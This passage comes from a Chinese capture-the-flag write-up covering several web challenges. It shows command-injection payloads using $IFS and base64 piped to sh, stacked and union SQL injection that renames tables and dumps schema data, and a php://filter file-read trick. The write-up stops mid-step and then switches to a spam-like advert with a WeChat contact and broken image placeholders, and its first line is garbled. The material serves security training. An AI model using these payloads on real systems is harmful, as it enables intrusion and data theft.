?ip=127.0.0.1;echo$IFS 1 Y 2 F 0 I G Z s Y W c u c G h w ∣ b a s e 64 1Y2F0IGZsYWcucGhw|base64 1Y2F0IGZsYWcucGhw∣base64IFS$1-d|sh
2、内联执行——将反引号内命令的输出作为输入执行
?ip=127.0.0.1;cat$IFS$9
ls
七、[强网杯 2019]随便注
启动靶机,发现以下页面
首先我们要查看是否存在注入
输入1回显正常,输入1’报错,基本判断存在注入,用#注释一下试试
输入1’ or 1=1 # 可以发现有回显
然后开始注入
现用orderby看看有几个字段用到1’ order by 3 #时报错 说明有两列,尝试union select联合查询注入
1’ union select 1,2 #
返回一个正则过滤规则,可以看到几乎所有常用的字段都被过滤了。我们继续使用用堆叠注入,用分号当作两条语句执行
1’; show databases; #
可以看到成功了,存在堆叠注入,接下来输入1’; show tables; # 查表
发现两张表,分别为:1919810931114514和words,先看words表,输入1’; show columns from words; #
发现words表中一共有id和data两列,那么可以猜测我们提交查询的窗口就是在这个表里查询数据
再看看另一个表,数字表要加反引号1’; show columns from 1919810931114514
; #
表名为数字时,要用反引号包起来查询。
方式一:1’; show columns from tableName;#
方式二:1’;desc tableName;#
如果tableName是纯数字,需要用`包裹,比如
1’;desc 1919810931114514
;#
1’; show columns from1919810931114514
;#
看到了flag,但是select被过滤
(1)修改表名
可以堆叠查询,这时候就想到了一个改名的方法,把words随便改成words1,然后把1919810931114514改成words,再把列名flag改成id(或data),结合上面的1’ or 1=1#爆出表所有内容就可以查flag啦。
修改表名:ALTER TABLE 旧表名 RENAME TO 新表名;
修改字段:ALTER TABLE 表名 CHANGE 旧字段名 新字段名 新数据类型;
rename命令用于修改表名。
rename命令格式:rename table 原表名 to 新表名;
1’; alter table words rename to words1;alter table 1919810931114514
rename to words;alter table words change flag id varchar(50);#
或者
1’;rename table words to words1;rename table 1919810931114514
to words;alter table words change flag id varchar(100);#
再用一下一开始的操作 id=1’ or 1=1#。得到flag
flag为:
flag{395a2feb-153c-4595-9c97-cc31a8893210}
八、[SUCTF 2019]EasySQL
打开靶机,出现以下页面
首先我们输入1,查看回显
我们发现非0数字尝试全都回显1,接着尝试0后,发现无回显
我们接着使用上一题的Sql堆叠注入查看信息进行尝试
先用show指令查看数据库:1;show databases;
再查看一下表:1;show tables;
看到Flag表,猜测flag应该在Flag中
使用1;show columns from Flag;来查询表中列名称,无法回显出flag只会回显Nonono
在MySQL中,操作符||表示“或”逻辑:
command1 || command2
c1和c2其中一侧为1则取1,否则取0select语句用于从数据库中选取数据,返回的数据会储存在结果表中。
在mssql中,||表示连接操作符,不表示或的逻辑。
本题中的大于0的数字出现相同回显,为0或字母时不回显一样,所以可以知道后端查询过程中应该有|| 而sql中的||有两种用法
1、以或字符 即代表or的作用
2、代表连接符,即’111’||‘222’ 其结果就是’111222’
既然我们要找到flag,后端又存在“或” 的逻辑,那么只需要把||或的逻辑改成连接符的作用就可以了。设置 sql_mode=PIPES_AS_CONCAT来转换操作符的作用。(sql_mode设置)
利用PIPES_AS_CONCAT令||起到连接符的作用。
构建payload:1;set sql_mode=PIPES_AS_CONCAT;select 1
flag为:
flag{9844b73f-8cff-4946-91f7-c82fc0b70abf}
九、[极客大挑战 2019]Secret File
启动靶机,出现以下页面
查看源代码,发现了./Archive_room.php修改一下url
点击SECRET页面发生跳转,很快就进入下一个网址了
查看绝密档案的源代码, 里面有个./action.php我们访问一下
发现也是很快跳转到END页面,我们没有直接看见action.php那只能抓包看看了
抓包后发现action.php
进行Repeater
发现action.php包有个返回包,有一个新的php( secr3t.php ),访问一下看看
访问一下flag.php
php://filter是php的一个协议,可以用来查找漏洞
使用方法
php://filter/convert.base64-encode/resource=目标文件
上文件读取伪协议即可,解密base64后就能看到flag
?file=php://filter/convert.base64-encode/resource=flag.php
进行base64解码
啊哈!你找到我了!可是你看不到我QAQ~~~
<?php echo "我就在这里"; $flag = 'flag{9a8e0a34-701b-4f48-b08d-23ae18c4bd88}'; $secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd' ?>
flag为:
flag{9a8e0a34-701b-4f48-b08d-23ae18c4bd88}
十、[极客大挑战 2019]LoveSQL
打开靶机,出现以下页面
使用万能密码admin’ or ‘1’='1,进行尝试
虽然有md5值,但是解不了码
尝试注入: 1’ union select 1,2,3#,测试回显几个字段名
有回显
爆数据库名和用户名
1’ union select 1,database(),user()#
出现以下内容
爆表名
1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘geek’ #
爆列名
自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。
深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新
如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
47721036)]
[外链图片转存中…(img-JlgsUHvn-1712647721036)]
[外链图片转存中…(img-9laKYJKn-1712647721036)]
[外链图片转存中…(img-cAIC4VoH-1712647721037)]
[外链图片转存中…(img-7Oo0jmkn-1712647721037)]
[外链图片转存中…(img-Ivky9qgA-1712647721037)]
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新
如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
[外链图片转存中…(img-Qnzp20as-1712647721037)]